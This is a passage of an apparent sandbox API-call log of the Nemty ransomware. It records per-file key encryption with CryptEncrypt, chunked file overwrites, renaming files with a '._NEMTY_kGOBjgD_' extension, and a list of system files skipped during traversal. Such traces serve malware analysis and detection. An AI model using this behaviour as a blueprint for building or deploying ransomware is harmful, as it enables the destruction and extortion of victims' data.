lpUsedDefaultChar=0x0) returned 14 [0110.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev-down.png", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bPrev-down.png", lpUsedDefaultChar=0x0) returned 14 [0110.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0110.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0110.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev-down.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0110.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev-down.png", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bPrev-down.png", lpUsedDefaultChar=0x0) returned 14 [0110.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0110.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0110.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0110.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340240 [0110.962] Sleep (dwMilliseconds=0x5) [0110.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf5cb3a70, dwHighDateTime=0x1d561e7)) [0110.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf5cb3a70, dwHighDateTime=0x1d561e7)) [0110.976] GetLastError () returned 0x5 [0110.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0110.976] GetLastError () returned 0x5 [0110.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0110.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0110.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0110.976] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0110.976] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0110.977] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0110.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402e8 [0110.977] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402e8, pcchString=0x653e91c | out: pszString="Oal5BClUBDbj4hXcw9NC3arcBNYxAwL88xK5yk6vJi1G5qjRb/wXOKyDSuNu0nqk\r\n2fVQrKkL1xWyg7pXJ3LkACCnd+KBaI6vxWIH0n1EH28+qE6ceJ+B+vNFIFLxao4L\r\nl36ICc45u9LeBZp+975juFcrdTv1tIzvg0HhQflhsspshSqYYQez6FnYsadmM1XR\r\ngXh2V8H5jp55qu/a1H0UaSVJNT4MtzOamp5UxIBm0KI05yI9a9mjJ6VLz4mfznuX\r\n0Ys+Gdwq93IdhOupnnWD2QVQOSGnKkCqw/WHyzHtFXatTum4wLWCjqOcYVMyYGC1\r\nlJ1fnCEjQMETlHUCLJCklw==\r\n", pcchString=0x653e91c) returned 1 [0110.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0110.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0110.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0110.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0110.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402e8 [0110.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0110.977] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev-down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bprev-down.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0110.977] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0110.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0110.977] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.977] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.986] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.986] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.987] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.996] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.996] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.005] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.005] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.005] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.005] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.015] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.015] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.024] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.024] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.033] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.034] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.034] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.043] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.043] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.054] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.054] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.054] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.054] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.063] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.064] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.073] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.073] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.073] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.073] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.079] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.079] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.079] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.079] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.085] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.085] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402e8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0111.085] CloseHandle (hObject=0xffffffff) returned 0 [0111.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0111.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0111.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0111.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0111.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0111.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0111.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340500 [0111.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0111.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0111.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0111.085] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev-down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bprev-down.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev-down.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bprev-down.png._nemty_kgobjgd_")) returned 0 [0111.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0111.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0111.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0111.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0111.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0111.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0111.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0111.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0111.086] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x823c5efe, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x823c5efe, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28219f9b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x23e, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="bPrev-hot.png", cAlternateFileName="")) returned 1 [0111.086] lstrcmpiW (lpString1="bPrev-hot.png", lpString2=".") returned 1 [0111.086] lstrcmpiW (lpString1="bPrev-hot.png", lpString2="..") returned 1 [0111.086] lstrcmpiW (lpString1="bPrev-hot.png", lpString2="...") returned 1 [0111.086] lstrcmpiW (lpString1="bPrev-hot.png", lpString2="windows") returned -1 [0111.086] lstrcmpiW (lpString1="bPrev-hot.png", lpString2="$RECYCLE.BIN") returned 1 [0111.086] lstrcmpiW (lpString1="bPrev-hot.png", lpString2="rsa") returned -1 [0111.086] lstrcmpiW (lpString1="bPrev-hot.png", lpString2="NTDETECT.COM") returned -1 [0111.086] lstrcmpiW (lpString1="bPrev-hot.png", lpString2="ntldr") returned -1 [0111.086] lstrcmpiW (lpString1="bPrev-hot.png", lpString2="MSDOS.SYS") returned -1 [0111.086] lstrcmpiW (lpString1="bPrev-hot.png", lpString2="IO.SYS") returned -1 [0111.086] lstrcmpiW (lpString1="bPrev-hot.png", lpString2="boot.ini") returned 1 [0111.086] lstrcmpiW (lpString1="bPrev-hot.png", lpString2="boot.ini") returned 1 [0111.086] lstrcmpiW (lpString1="bPrev-hot.png", lpString2="AUTOEXEC.BAT") returned 1 [0111.086] lstrcmpiW (lpString1="bPrev-hot.png", lpString2="ntuser.dat") returned -1 [0111.086] lstrcmpiW (lpString1="bPrev-hot.png", lpString2="desktop.ini") returned -1 [0111.086] lstrcmpiW (lpString1="bPrev-hot.png", lpString2="CONFIG.SYS") returned -1 [0111.086] lstrcmpiW (lpString1="bPrev-hot.png", lpString2="RECYCLER") returned -1 [0111.086] lstrcmpiW (lpString1="bPrev-hot.png", lpString2="BOOTSECT.BAK") returned 1 [0111.086] lstrcmpiW (lpString1="bPrev-hot.png", lpString2="bootmgr") returned 1 [0111.086] lstrcmpiW (lpString1="bPrev-hot.png", lpString2="programdata") returned -1 [0111.086] lstrcmpiW (lpString1="bPrev-hot.png", lpString2="appdata") returned 1 [0111.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0111.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev-hot.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0111.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev-hot.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bPrev-hot.png", lpUsedDefaultChar=0x0) returned 13 [0111.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0111.087] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev-hot.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0111.087] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev-hot.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bPrev-hot.png", lpUsedDefaultChar=0x0) returned 13 [0111.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0111.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0111.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0111.087] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev-hot.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0111.087] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev-hot.png", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bPrev-hot.png", lpUsedDefaultChar=0x0) returned 13 [0111.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0111.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0111.087] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev-hot.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0111.087] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev-hot.png", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bPrev-hot.png", lpUsedDefaultChar=0x0) returned 13 [0111.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0111.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340240 [0111.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0111.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0111.087] Sleep (dwMilliseconds=0x5) [0111.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf5de4570, dwHighDateTime=0x1d561e7)) [0111.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf5de4570, dwHighDateTime=0x1d561e7)) [0111.101] GetLastError () returned 0x5 [0111.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0111.101] GetLastError () returned 0x5 [0111.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0111.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0111.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0111.101] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0111.101] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0111.101] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0111.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402e8 [0111.101] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402e8, pcchString=0x653e91c | out: 